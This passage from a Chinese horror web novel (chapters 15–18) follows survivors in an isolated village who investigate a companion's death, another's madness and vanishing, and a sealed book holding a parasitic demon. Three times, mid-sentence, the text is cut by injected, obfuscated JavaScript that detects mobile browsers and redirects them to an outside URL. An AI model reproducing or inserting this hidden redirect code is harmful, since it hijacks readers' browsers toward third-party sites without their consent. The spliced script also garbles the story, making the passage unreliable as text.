调查内容:掌握孟溪村的整体布局情况,尤其要弄清楚东北角破屋和祠堂所在的具体方位,绘制村居建筑布局图,以便规划路线 事件二:柳笙的死亡复现 调查地点:孟溪村 调查内容:柳笙在孟溪村的经历 调查人员:周嘉语,周嘉文,艾莉安 备注:可选择调查事项-溪源的身份 注意事项:一切行动都要在保证自身安全、不引起村民怀疑的情况下进行,事有不对立刻离开;及时沟通及时联系 事件二:孟溪村的风水格局 调查地点:西山 调查人员:有归,黎重,戴洪乐 调查内容:确认孟溪村的风水是否真的有问题,人为还是意外】 后面是待定事件:探索祖坟地;探索祖坟地后面的洞穴。还有七月十七那天的行动,有归也列出来了: 【最终日,7月17日 事件一:参加祭祖大典 调查人员:全体 调查地点:西南山坡祖坟地 备注:流程不明,目的不明,危险程度不明,目前猜测我们=祭品,为最后游戏时间。】 这个最终日写在那看着好吓人,几人飞快掠过,周嘉语指着计划表上“可选择调查目标溪源的身份(?)”这一点,说:“你觉得溪源和沈希源是同一个人?”她仔细回想刚才见到的年轻人的样貌,答案和黎重一模一样,“他们长得并不像。” 这只是有归的直觉,柳笙出了意外状态未明,他们找到了她的日记本,书房发现的六张纸条两张都和她有关,同行的沈希源却无声无息。她觉得这并不代表沈希源真的死去,或许他只是发生了某种变化,就像他颠倒的名字一样,顶着别人的身份使用别人的身体,活在这个癫狂的山村。 有归抬头看着天边,脑海里闪过一张温柔的面孔,“柳笙现在的模样和她原本的样子差别也很大。而且,就算溪源和沈希源真的是两个人,我觉得也有必要调查清楚——孟溪村如此闭塞,几乎和外界断绝联系,一个被外界遗忘的地方,怎么会忽然冒出一个来探亲的亲戚?” 一旁的艾莉安忍不住开口:“你们真不觉得溪源的样子有几分眼熟吗?” 15. 第 15 章 众人都转头看向艾莉安,她不知道是因为激动还是害怕,声音都是抖的:“不要看整体,只看具体的五官,眉毛,看他的眉毛。” 仔细回想溪源的面容,五官轮廓其实并不是太清晰,但一双眼睛实在让人记忆深刻,眼神清澈纯净,如曦光下叶尖坠落的一滴晨露。再仔细回想,他们想起溪源的违和之处,他的眉毛与他的五官并不匹配,太浓太锋利,眉尾坠着一粒小痣。这样一双眉毛,这样一双眉毛...... 众人转头看向戴洪乐。 戴洪乐脸色惨白,他看见面前的同伴都是一样沉默的脸,那双眉毛他们当然见过,今早是他亲手将那人下葬的。他觉得自己已无法冷静思考,周嘉文连忙扶着他,他闭了闭眼睛,强迫自己平静下来,开口,声音依然颤抖:“那个叫溪源的,是把卢易斯的皮披在自己身上了吗?” 没有人可以回答他,戴洪乐一把推开周嘉文,癫狂大叫:“啊啊啊啊啊啊啊——” 他撞开众人,发狂似的往外冲,快得周嘉文都来不及抓住他,好在现在是白天,可以清楚地看到他往哪个方向跑去了。几人赶紧追上去,但戴洪乐不知道哪里来的力气,飞快地甩开了他们,好在他一路都在大喊大叫,几人循着声音追去,总算是堵到了他。 是在孟溪村东南边的山与山之间形成的一个缺口,一段比较陡的山坡下,有一块比较宽阔的平地。平地下是波涛汹涌的大河,平地边上则长满了矮小的灌木,密密麻麻的枝条纤细却十分有力,挡住了地上快堆不住的垃圾,让它们不至于落入下面的河谷中。 这里是村民们平时堆放垃圾的地方。 戴洪乐就站在村民们倒垃圾的土坡上,戒备地看着向他围过来的四人。有归不在其中。众人一致认为她在旁边看着不会较好,那么小小的个子,真的参加恐怕会成为戴洪乐突破包围的那个口子,不如就在一边观察。 四个人从三面包抄,他们尽量不做出攻击性的行为,但戴洪乐还是感受到了威胁,喉间发出几声低吼,像是山间的猛兽对侵入地盘的外来者的警告。几人面色凝重,十分小心地往前挪动,戴洪乐现在的状态像疯子,又像野兽,完全失去了理智,他们不能放任他在村子里游荡。 因为没有参加围堵戴洪乐的行动,有归反而可以更多地关注他的行为,他的表情很急躁,不时转头看底下的垃圾堆。有归心念一动,难道这里有什么东西在吸引他吗? 他们住的小楼在西边,而这里在孟溪村的东南,他们昨天被传送到这里之后,因为任务要求他们必须在天黑之前进入小楼,与众人会合,所以并没有时间在村中闲逛,更不知道孟溪村的东南方是村民扔垃圾的地方。有归想到刚才他们一路追过来的场景,戴洪乐是直接从小楼右转,斜插整个村子冲到这里来的。 他的目的十分明确。 孟溪村在大山深处,明显不可能有垃圾车每日来拖走垃圾,村民们几十上百年来产生的垃圾或许都堆放在这里,杀人越货需要掩埋尸体处理工具,孟溪村发生过的那些以往,或许能从这些垃圾中找到线索。 太阳已经升的很高了,这里并没有像村子里一样栽种树木,阳光火辣辣地照射下来,炙烤着众人的皮肤,他们只觉得喉咙干渴,身体的水分都要蒸发了。有归感觉到热的时候就返回小楼,用大瓦罐装了满满一罐清水,路上摘了几片大树叶,招呼几人过来纳凉喝水。 在孟溪村这种地方,哪怕他们曾经过得无比精致,现在也讲究不起来,只能轮流用有归带来的水瓢喝水。冰凉的水流淌过喉咙,就像是干涸的大地被雨水滋润,感觉全身的燥热都化作热气从毛孔散发出去了。众人喉间逸出一声感叹,把水瓢交还给有归。 有归把水瓢放进瓦罐,用一只手提着,另一只手举着一片大叶子,慢慢靠近戴洪乐,笑眯眯地问:“你也渴了吧,要不要喝点水?太阳这么大那么晒,你用这片叶子挡一挡好不好?我没有恶意,而且你看,我没有你高也没有你壮,怎么可能伤害得了你?” 戴洪乐踌躇了一会儿,当神智退化以后,他更多的凭一种接近野兽的直觉在行动。他的直觉告诉他,眼前这个人对他并没有恶意。而在比较过双方体型差距后,生物的本能最终还是占据上风。他接过有归手中的水罐,没有用瓢舀水喝,而是直接把水罐抱起,张开嘴接住从水罐口倒出来的水。 有归努力把手里的叶子举在他头顶,戴洪乐转头看了她一眼,直接蹲下了。还好还好,还没有完全退化成野兽,还知道好赖。 水很快就喝完了,戴洪乐随手把罐子一丢,罐子咕噜噜滚到了山坡下。他略带敌意地看了一眼在一旁的几人,几人看到了他的眼神,心情一时复杂难言。戴洪乐才不管她们是什么心情,一把抓住有归的手,有归有些惊讶,不明白他为什么会信任自己。不过这也是好事,她带着他向众人走去。几人现在都是一身臭汗,戴洪乐因为靠近垃圾堆,身上的味道还要更重一些,再加上已经是正午最热的时候了,只能打道回府,早上的计划算是废了。 一行人回到小楼,只觉一股幽凉之气扑面而来。以孟溪村的条件,痛快地洗个温水澡是别想了,这里完全没有条件。最后是烧了一大锅水,大家分一分,将就着擦了擦身子,换过一套干净衣裳也就行了。 他们这一个早上过得十分忙碌,埋尸,与村长老头过招,满村子抓人,再充实不过了。原定的计划被完全打乱,这会儿到了中午,大家都觉得有些倦怠,随意喝了点营养剂,打算回房休息。 戴洪乐现在处于一种比较奇妙的状态,有归跟他说让他和周嘉文一起去休息,他也听得懂,不吵也不闹,除了神情有些呆滞,其余还算正常。 但有归并不能够安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16416527|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,她觉得自己似乎忽略了什么。 她没有在屋子里休息,杂物间有好几张竹制粗编躺椅,大概是沈凌璧那时候留下来的。有归不知道孟溪村是什么时候建村的,但按最晚的时间来算都有好几十年了,这躺椅居然没有散架成灰,看上去还好好的。 她搬了一张到小楼前的院子里。 小楼的前院并没有种孟溪村随处可见的那种绿树,而是大株大株的芭蕉,芭蕉树比小楼还高,宽大的叶片完全伸展开,留下一地阴凉。另一边种了一株梨树,可惜现在不是春天,看不到梨花似雪的美丽场景。 有归把躺椅安置在芭蕉树下。 果然是老物件了,躺上去吱呀一声,除了这一声也没别的动静,她还是躺的安安稳稳的,手里摇着一把从杂物间找到的破扇子,大概跟这躺椅一样,都是第一任村长沈凌璧那个时期留下来的。 她闭上眼睛享受凉风,忽听到后面房间里有开门的声音,紧接着脚步声响起。她睁眼一看,黎重手里正拖着一张躺椅,也是来纳凉的。 有归占据了前院最荫凉的地方,黎重就把躺椅放在她隔壁,还拿浸过凉水后拧干了的毛巾擦拭一边。有归没那么多讲究,黎重清洗干净毛巾,拿眼睛望着她。 好吧,免费的服务还是可以享受一下的。 用凉水擦拭过的躺椅确实躺着更舒服,有归谢过黎重,提醒他道:“这椅子恐怕是沈凌璧留下的产物,你小心些,别摔了。” 黎重躺下的吱呀声比有归的响多了,好在胆战心惊过后,这东西还是坚持住了。 “接下来你要怎么做?”黎重闭着眼睛说。 有归知道这个“他”指的是戴洪乐,她睁开眼睛,看着头顶绿色的叶子,说:“让周嘉文专门看着他,周嘉语和艾莉安一起行动。” 黎重转头看她,有归察觉到他的视线,偏过头去眨了眨眼,他笑了起来:“我以为你会选择放弃他,毕竟他现在只是个累赘,不是吗?” 这样的试探有归并不反感,与身家性命相关,怎么慎重都不为过。但她没想到的是,黎重竟然直接问了出来,一点都不迂回。她盯着他看了很久,才说:“我不会放弃任何一个人。” 她躺了回去,过了很久,就在黎重以为她已经睡着的时候,听到女孩近乎呢喃的低语:“我不想再见到任何一个生命在我面前离开。” 女孩的声音像云那样飘忽,一路飘到他的耳朵里,紧接着,她哼起了一段旋律,这是未来时代很出名的一首抒情歌,却被有归哼唱成一首催眠曲。 清风拂面,绿意满眼,如果忽略几人的处境,这确实是一个好眠的下午。 黎重有了几分困意,女孩的歌声也渐渐低了下去,小楼前院归于宁静。 打破这一份宁静的是周嘉文的大喊—— “戴洪乐不见了!” 16. 第 16 章 对于必须照顾戴洪乐这件事,周嘉文并没有怨言,哪怕他现在是一个随时可能失控的疯子。周嘉文一直明白的,比起妹妹,他不算聪明,性格也偏于安稳,所以他总是沉默。但有一件事情他很清楚,从进入那扇门起,她们这些人就是一根绳上的蚂蚱,想要顺利拿到回家的钥匙,只能通力合作。 而无论是从进入孟溪村开始的表现,还是无意中透露出来的那些常人所不知道的事情,都让有归隐隐成为众人中的领头的那一个。 口头承诺的再多,也不如有归直接用自己的行动表明,她不会抛下任何一个人,让周嘉文安心。 周嘉语看她哥脚步都轻快了,自己也放松了很多,倦怠之意袭来,她直接躺下闭上眼睛。周嘉文瞥了一眼旁边,动作放到最轻。戴洪乐还是那副呆滞的样子,但周嘉文完全不敢掉以轻心,用柔软的布条绑缚住他的双手双脚,中间留有余裕,让他行动受到约束,又不至于完全无法活动。 在这样的地方午睡,周嘉文并不能完全安心地睡去,只是闭目让精神不致疲倦。戴洪乐倒是呼呼大睡,还轻微打起了鼾,周嘉文留了一半心神注意着他的动静,不知为何竟然看到戴洪乐跟他道别:“多谢你们的照顾,我走了,不用找我。” 他这个样子倒是正常了,也看不出疯癫的痕迹,周嘉文也不觉得有什么不对,只是下意识地拉住他,问他:“你要去哪儿?” 戴洪乐笑起来:“去我该去的地方。”然后挣脱他,头也不回地走了。 周嘉文醒过来的时候还不太清醒,当他侧头往右边看去,只看到一个空荡荡的床铺,被子整齐地叠好放在床边,上面放着绑缚戴洪乐手脚的布条,上面打的结并没有解开。他忽然懂了刚才那个梦的意思。 戴洪乐消失了! 所有人都懵了! 黎重转头看有归,她脸上没什么表情地望过来,眼底一片困惑。一旁周嘉文表情懊恼,自责道:“我应该好好看着他的......” "你都已经把他绑起来了,他还能自己走掉,难道要不眠不休睁着眼睛盯着他吗?"周嘉语见自家老哥大有把戴洪乐失踪的事全揽在自己身上的意思,赶紧打断他的话,她捡起床上绳结完整的布条,“看看这个,就算是不眠不休,你就能盯住他吗?” 周嘉文哑口无言。 她们早就确认过,几人睡觉的房间的门,大厅的门,包括窗户,都是在里面阀上的,没有被打开过。而除了厅堂的大门,小楼再也没有别的出口,睡在前院的有归和黎重也没有看见有人出去。 连人怎么离开的都不知道。 对于孟溪村的诡异之处,从进来到现在不到二十四小时,她们已经领教过无数次了。每经历一次,就越发怀疑自己是否真的能够活着回家。 艾莉安垂头丧气,周嘉文也是一样,之前的轻松荡然无存,只有一颗无比沉重的心。两人颓丧了一会儿,发现周嘉语和黎重的动作不一样,顺着她们的视线看过去,目光尽头是正在沉思的有归。 有归已经完全沉浸在自己的思绪里了。 到底是哪里出了问题? 虽然大家都有预感,如果遭遇重大变故,最先出事的大概率会是发小组,但他们从昨天到现在,根本没来得及有什么行动。 看上去戴洪乐忽然发疯是因为看见卢易斯惨死,又知道他被剥下的皮披在溪源身上,一时受了太多刺激。可她们五人同样经历了这些,认真算起来周嘉语的经历还更惨烈一点,就算两人从小一起长大感情深厚,戴洪乐也不像那么经不起事的人。一个人在目睹同伴惨死后,第一反应往往是为同伴报仇,就算真的没有这样的勇气,也该是明哲保身当作无事发生,而不是直接疯掉。 卢易斯的经历就更奇怪了,都是在半夜十二点之前还醒着的人,有归看见了柳笙,卢易斯看到了后山的婴诡。两人看见的有所不同,但柳笙带给有归的震撼不会比那些婴儿怪物少,以有归心性之坚韧,看清楚窗边人影是谁的那一瞬都觉手脚发软浑身无力,卢易斯竟然第一时间就做出了反应。 而后和卢易斯同住一屋的戴洪乐被惊醒,他看见了地上的婴诡的同时,也看见了卢易斯。他也被吓到了,很久才反应过来,所以才没有及时拦住卢易斯。在厅堂中叙述事件的经过时,他可以明确地说出那些婴诡的特征,描述自己的恐惧,然而卢易斯的情况他却一个字也说不出来。 不是他不想说,而是有什么东西影响了他,让他无法说出口。 这就是整个事件的关键,那样东西或许很早就偷偷潜藏在卢易斯身上,在卢易斯因地上的婴诡而心神震荡的那一刻,它趁机夺取了卢易斯身体的控制权,然后操纵着不属于自己的身体,飞快地逃离了小楼,融入孟溪村的黑夜之中。只是它没想到孟溪村的夜晚这么危险,不知道它遭遇了什么,最后落得这样的下场。 但有归并不觉得高兴,那是卢易斯的身体,虽然芯子已经不是他,被夺舍的却是他,失去皮肤是他,死去的也是他。唯一让她觉得安慰的地方,大概是被剥去皮肤活活疼死的并不是卢易斯。 她低下头,为什么第一时间没有发现这些呢?那样的话,就算无法救回卢易斯,也可以保下戴洪乐。戴洪乐那么信任自己,他从来没有怀疑过,甚至以身家性命相托,可是她什么也做不了。 有归狠狠地咬住下唇,咬得嘴唇几乎沁血,在众人诧异的目光中,她问艾莉安:“你是第一个进入小楼的人,也是最先接触戴洪乐和卢易斯的,他们来到小楼后还有去过什么地方吗?” 不管卢易斯身上的东西是什么,都不会是从未来时代带来的,而是来到孟溪村后在这里遇到的。而昨天在小楼中的七人,除了她,都是从培育室诞生的,卢易斯并没有什么特殊的地方,那东西不是被他吸引而来的,而是误打误撞碰上的。 艾莉安摇头:“没有,他们来到小楼后就一直坐在大厅里,没有去过别的地方。” 周嘉语默默收回手,黎重把手帕放好,她们以为她会哭,已经准备好安慰她了,没想到她自己调理好了。 两人的直觉没错,但时光从来无情,它带走了有归哭泣时落在头顶的那双手上熟悉的温暖,带走了难过时拥住她的怀抱里幽绵的甜香,也带走了会永远挡在她面前的那些身影,她逃避过,拒绝承认这样的现实。 可当她手足无措沮丧自责,下意识想要依靠着谁的时候,却发现自己身前身后都空无一人,她就不会再哭了。 成长有时会在短瞬之间完成,只不过有归的成长是在走过漫长的时光后,蓦然回首的空荡心伤。 她回头看了两人一眼,粲然一笑,这一笑像是春日洒下的灿烂阳光,让黎重晃了一下神。周嘉语索性坐到有归身边,问她:“你发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16422277|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” “昨天我们来到小楼,一直到睡觉之前,其实中间只有两次离开大厅,第一次是为了确认楼中是否藏有噩梦乐园的规则,第二次则是因为孟溪村第一任村长沈凌璧可能留下的线索。日记本和所有的纸条都是在书房发现的,卢易斯的尸体也在书房出现——”说到这里,有归停了下来,转头看着周嘉语。 周嘉语被她看得莫名其妙,正要说话,就听有归语气飘忽地提问:“你平常喜欢玩恐怖游戏吗?” “不喜欢,但会玩,因为有节目效果。” “那你会刻意追求刺激吗?” “不会!”周嘉语答得斩钉截铁,话音刚落,就见黎重周嘉文艾莉安神色奇怪地看着自己。 有归说:“那为什么今天早上,你听到二楼的雨滴声后,在明知道没有下雨也没有人的情况下,却选择独自一人去二楼查看呢?” “我......”周嘉语想解释,却发现自己也说不清楚。 她慢慢回忆自己当时的想法,“最开始发现楼板渗血,我其实是想去去叫醒你们的。”但这个念头只在她脑海中闪过一瞬,很快就被莫名出现的更加强烈的好奇给挤的无影无踪,她无法控制地踏上楼梯,哪怕有过挣扎,也完全无法停下,等到看见卢易斯的尸体,更将这一点异样忘到脑后去了。 现在回想起来,她依旧一阵后怕。 有归叹口气:“这种没来由的好奇,和戴洪乐两人突如其来的疯狂其实是一样的。而你们三个唯一可能会一起中招的地方,就是在二楼书房,当时搜检书架的工作是按照戴洪乐、卢易斯、你和艾莉安的顺序排列的......” 话已经说到这里,周嘉语自然开始回忆当时的情形,一开始像雾里看花,只有一点隐隐绰绰的轮廓。她感觉自己仿佛置身于一座空荡荡的屋子里,四周并不幽暗,只是弥漫着重重白雾,雾气流动间,才能朦朦胧胧看见放置在角落的某个东西。 这是记忆宫殿? 周嘉语没工夫理会,她看向雾气最重的地方,那里有三个身影,身高仿佛。左右两个很认真的搜检书架,争取不放过任何一个角落,中间那个却像是来帮忙的,随意挑拣两下就当完成任务了,抱着手看左右忙碌。 不对,这不是卢易斯。他虽然胆小矫情,但关乎性命,他不会这样懒散敷衍。 雾气散去了一些,三人的身影依旧朦胧。周嘉语一直盯着那个地方,注视着浓雾散去一层又一层,最终像是被擦去凝结在镜面的水汽一般,整个世界都明晰了。她看见卢易斯从书架上抽出一本书,他从扉页上扯落什么东西,然后随意翻开其中一页,好像是被吓了一跳,等看清是什么东西后又觉得好笑,招呼戴洪乐来看。 右边的身影似乎是听到了那声惊呼,转头瞥了一眼后,又若无其事地继续动作。 周嘉语将思绪从那座宫殿中抽离,抬头看向众人,苦笑,“我才知道,原来我的记忆被刻意遮掩篡改过,难怪会觉得一切发生的那么突然。”因为所有的疑点都已被抹去,就像平静的水面,任凭底下暗流汹涌危险遍布,可路过的人却只会赞叹这里的美丽,直到下河的人被水流卷走。 “是一幅画。”她说,“戴洪乐和卢易斯的遭遇,是因为他们看了一幅画。” “而我还好好的站在这里,大概是因为我没有看清楚上面画了什么东西。” 17. 第 17 章 五人转移到楼上的书房,周嘉语站在当时卢易斯的位置,左右看看,伸手一指:“卢易斯卢易斯当时拿的是这本书。” 正要行动,有归却快她一步把书抽出来了。周嘉语震惊了一下她的速度,然后看向她手里的书。那是一本很古老的线装书,奇怪的是蓝色的封皮依旧如新,纸张轻薄柔韧有光泽,封面写着四个端正的墨色大字:鸿南阁志。 有归正要翻开,手腕忽然被握住,她转头看向黎重,不明白他为什么要阻止自己。黎重无奈叹气,“你忘了卢易斯戴洪乐的下场了吗?” 有归眨了眨眼,这个她倒是没忘,但也没怎么放在心上就是了。就算有天大的危险,她们也必须上,必须要弄清楚这一日夜的遭遇到底是因为什么,不只是给离去的人一个交代,也是给她们自己一个交代。 东西已经拿到了,就这样放着不看,跟最开始那种什么都不知道的情况又有什么区别呢? 周嘉语也在纠结,忽然好像下定了什么决心似的,上前一步直接翻开一页,咬牙道:“那就一起,要死就死在一起。” 有归被她的动作惊了一下,差点没拿稳把书丢地上,黎重连忙扶住她的手。几人看翻开的书页,本以为会看见什么可怖的东西,实际什么都没有,没有画也没有字,雪白的纸张上有一条长长的痕迹。周嘉语说:“这里贴着的东西大概已经被卢易斯扔掉了。” 再往后翻一页,映入眼帘的是一手清秀端正的字,有归辨认了一下,应该是是云上帝国时期的文字。云国的文字则由此演变出来,进入未来时代以后也没有多大变化,可以说是一脉相承,有归她们虽然读起来有些困难,还是把整篇内容都顺了下来: “此封印之书,封存自承源四十七年至承源五十年之间所捕获妖物邪肆,凡二十三种。其中一十四种已死亡,八种无害,唯有一种被称之为魔那什之邪物,无死无休,寄生人类,蚕□□神,今以雷唤之术镇封,藏之于鸿南阁中。望后人重之,勿揭下此书之封印,使妖物为祸人间。” 落款是“鸿烈十年五月二十日,北境翾水凝。” 这段文字透露的信息太多,几人一时之间也不知该从何处说起,周嘉语默然半晌,说:“所以当时卢易斯丢掉的东西,就是这本书的封印?” 还真是应了那一句不作死就不会死。 其实卢易斯当时还嘟囔了句什么,周嘉语没有听清,他当时说的是:“这什么鬼东西,鬼画符吗?都什么年代了还搞这种骗小孩子的把戏。” 哪怕史书上有关噩梦乐园的记载清清楚楚明明白白,但未来时代依旧有不少坚定的唯物主义者,他们坚信任何事物都可以用科学来解释。卢易斯大概就是这样的人,他因科技的发展而诞生,也因科技的发达而患病,曾经想过求助过玄学,但满天神佛无人回应,从此再不愿信。 而黎重周嘉语他们的想法,则更能代表未来时代大多数民众——虽然未来政府倡导人们信仰科学,但不是所有的事情都可以用科学的知识来解释,尤其是弥瑞可大陆的历史,留下诸多神秘,学术界至今仍在争论不休,人们对超自然的现象和事件一向是敬而远之,常怀敬畏之心。 然后那颗敬畏之心就因为这一次的穿越碎了个稀巴烂。 不过当务之急,是把被卢易斯随手丢掉的那个叫“雷唤”的法术封印找回来。周嘉语面对着书架,转身指着面前:“应该就是这个地方。” 但别说是这里了,整个书房她们都搜索过了,什么也没有找到。 艾莉安有些沮丧:“找不到这个东西,是不是就救不了戴洪乐了?” 周嘉语转头看着她,说:“我们找这样东西本来也不是为了戴洪乐。” 这回连周嘉文都愣住了:“那是为了什么?” 黎重叹气道:“是为了我们自己。” 他们一行七人,一死一失踪,现在只剩下五个,四个都是普通人,哪怕是自认还算有点特殊的有归,也不觉得自己真的可以对抗噩梦乐园那样的存在。但幕后黑手偏偏把她们几个送到了这里,目标直指孟溪村背后的存在,这恐怕不是对她们几个有信心,而是有所安排。 有归还不知道幕后黑手的安排是什么,但那个只是老婆婆给她们规则纸条的未知存在却很有乐子人的精神,什么都要横插一脚,给了规则纸条还不够,还要特意强调“你们现在住的小楼是孟溪村第一任村长晚年居住的哦”,属于是直接把答案扔她们脸上了。 之前有归就猜测沈凌璧曾在小楼中留下什么东西,现在看到那个名叫禤水凝的人对这道“雷唤”法术的描述,或许这就是她们应对孟溪村背后的未知存在的关键。这么一看她们真的就像在通关一个大型游戏,第一道门后的孟溪村是游戏的主线的第一部分,那个乐子人似的存在是她们不自知的金手指,那道雷唤之术是她们在游戏里获得的第一个道具。这么解释的话,一切就都说得通了,她们的确是在玩游戏。 一场以命相搏的游戏。 艾莉安和周嘉文显然没什么娱乐精神,看向有归的眼神一言难尽,黎重和周嘉语倒是接受良好。周嘉语甚至还补充道:“这么说的话有归是输出,我和黎重也算是吧,那奶和辅助是艾莉安和我哥?” 听到自己名字的两人对视一眼,不约而同地低下了头,黎重说:“哪可能真跟游戏一样有明确的职业划分。” 有归丢下游戏论,走到一边面对着书架发呆,向右转身,是书房的门口,当时卢易斯的尸体就倒在这里。周嘉语说,尸体一开始并不是就在这里,而是她走到门口,从门后忽然掉下来的。 她抬头看着房梁,脑海中闪过无数碎片,这些碎片又连缀成一个完整的经过。 昨天她们来到书房,卢易斯无意中发现这本封印之书,他随意揭下上面的封印,里面的魔物失去束缚跑了出来,寄生在他的身体里。当晚,熬夜卢易斯违反了规则,吸引了来自后山的婴诡,精神受到了极大的冲击,全面溃败,被寄生在他身体里的怪物抓住空挡,彻底占据了身体。那怪物好不容易得到了自由,因此操控着卢易斯的身体离开小楼,但不知道遭遇了什么,竟然被剥去皮肤,尸体又回到小楼的书房。 书房是一切的起点,直接接触这本书的卢易斯被当场寄生,被卢易斯招呼过去同看这本书的戴洪乐也受到了影响,站在旁边的周嘉语因为扫到一眼,可能也被打上了某种类似精神印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16427338|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记的东西。 被困已久的魔物忽然得到了一具可以自由活动的身体,想的肯定不是痛改前非洗心革面好好做人,不,做魔物,而是要回到从前兴风作浪为非作歹的逍遥日子。只是运气不好,重获自由竟是在这更加诡异的孟溪村,因此失去了一层可以遮掩的人皮,不得不回到小楼,寻找下一个宿主。 周嘉语恰好撞了上来,既是完美的人类,又有它的精神印记,此时又是孤身一人,它控制着周嘉语来到它的面前,但不知为何,又放弃寄生。直到众人被吸引而来,比周嘉语更适合的戴洪乐出现在书房,鲜血汇聚到他脚下,它选定了它的新宿主。 为什么它会放弃周嘉语而选择戴洪乐? 有归转头看向周嘉语,直把周嘉语看得莫名奇妙,忍不住问道:“怎么了?为什么这么看着我?” “明明是你先接触那个怪物的,它却放过了你,反而选择了后面才来的戴洪乐,你觉得是为什么?”有归反问她。 “反正不是看我活泼可爱美丽善良,肯定是我身上有让它害怕的东西。”周嘉语想都不想就回答,然后就怔住了,眼眸睁大,“你是说?” 有归肯定了她的疑问:“答对了,那道封印之术就在你身上。” 周嘉语现在穿的衣服不是昨天的那套,那套衣服中午的时候已经被换下收进了随身空间。她把衣服拿出来,手伸进上衣的口袋里,抓出一大把色彩鲜艳的糖果,一人分几颗把糖果散完,又继续掏口袋,这回鲜艳的糖果中间夹杂着一张揉成团的纸条。 她把纸条挑出来,递给有归,挠挠头,又摸了摸后颈:“昨天出去的时候,我看到地上有张纸,还以为是垃圾呢,想着先揣在兜里,到时候丢到垃圾桶去,没想到居然是封印。” 她语气里说不出的庆幸,“还好昨晚我忘了丢,今早也没忘了穿上外套。”也是那些纸条上的内容太惊悚,后来各种猜测吓得周嘉语完全不记得要吃她的糖果,等后面事情接二连三的发生,她的脑袋里被各种信息挤满,压根记不起自己口袋里满满的糖果之间,还有这么一个纸团。 承载着封印之术“雷唤”的纸团看上去平平无奇,背面看上去就是一张普普通通的纸,也不能怪周嘉语想要把它当作垃圾丢掉。 有归把纸团展开压平,上面绘着深紫色的纹样,虽然她辨认了半天也无法确认这是什么,但这确实与鬼画符相差甚远,卢易斯那句话完全是诋毁。不知道过去了多少年,颜色依旧像刚画上去一样鲜艳,时不时有特效似的雷电光效闪过。 她揉了揉眼睛,再三确定自己没有看错,抬起头来看向几人,语气飘忽:“你们看见了吗?” 艾莉安刚才见有归又是揉眼睛又是眨眼的,心里知道她肯定是看见了什么,但不管艾莉安盯着那张纸条看多久,她依然只能看见上面深紫色的纹样。她摇头,说不清是什么感觉:“我什么也没看见。” 一旁的周嘉文也是同样的情况,黎重艰难地捕捉到闪烁的电光,而周嘉语盯着看了很久,才迟疑地抬头,小声问道:“你们有没有感觉到什么?” 几人看向她,她说:“就是这上面的东西似乎和我很亲近,好像我可以试着掌控它。” 18. 第 18 章 嘎,掌控? 有归忽然想起未来时代的某些游戏,在那些充斥着超自然能力的游戏中,有些能力是玩家或NPC初始就可以拥有的,而有些则需要学习才能掌握。未来时代也很流行奇幻类型的小说,这里的设定又有所不同,更看重天赋,有天赋的人天生就可以操控自然元素,拥有非凡能力,而没有天赋的人,无论怎么努力都无法使用。 游戏和小说中将那些拥有非凡能力的人们称之为修道者,或者是修行者、修炼者,在设定里,整个世界充斥着一种名为灵力的可用于修炼的超自然元素,而那些天生亲近这些元素的人有可以储存魔灵之力或魔法能量的灵基。所谓天赋,一是是否拥有灵基,二是修炼速度,也就是与超自然元素的亲近程度。 但弥瑞可大陆从来从来没有任何关于超自然能力的记录,所谓神明,不过是统治者用以愚弄子民的符号,宗教则是禁锢人们思想的工具。各国的民间传奇话本小说里记载了不少武功高强、体术出众的侠士,以武犯禁,并没有出现修道者的影子。 人类无法想象自己没有见过的事物,那这些设定又是从何而来?周嘉语说自己和这道雷唤之术很亲近,这让有归有些迷糊:是她们真的来到了一个游戏世界,还是弥瑞可大陆的历史上,确实存在着这样一个不为人知的时代? 只是一瞬的恍惚,有归很快就回过神来,她的感觉不会出错,她切切实实感受到了这个世界的锚点,这是一个真实的世界,一个在弥瑞可大陆历史上真实存在过的地方。 可是,如果真的有一个剑与魔法并存的时期,又怎会无人知晓呢? 有归翻开那本鸿南阁子书,看着书上的留言,猛地抬头问艾莉安:“新历775年云上帝国是哪一个皇帝在位,用的是什么年号?” 艾莉安从来没见到她这样疾声厉色过,一时间竟怔住了。及至有归把手里的书就这样展开递到她面前,她看清楚了书上的年号和后面的数字,神色忽然一变,猛然起身一把抓过那书,瞪大眼睛来回巡视着书上的年号和年份。她的手在发抖,可能是抖动得太厉害了,连带着身体也颤动起来。 她从书里抬头,恍如溺水之人抓住救命稻草一般紧紧抓住有归的手,嘴唇颤抖着,声音仿佛是从喉咙里挤出来的:“新历775年,云上帝国在位的皇帝是洛泽女皇,她用的年号是承源,那一年是承源二十二年!” 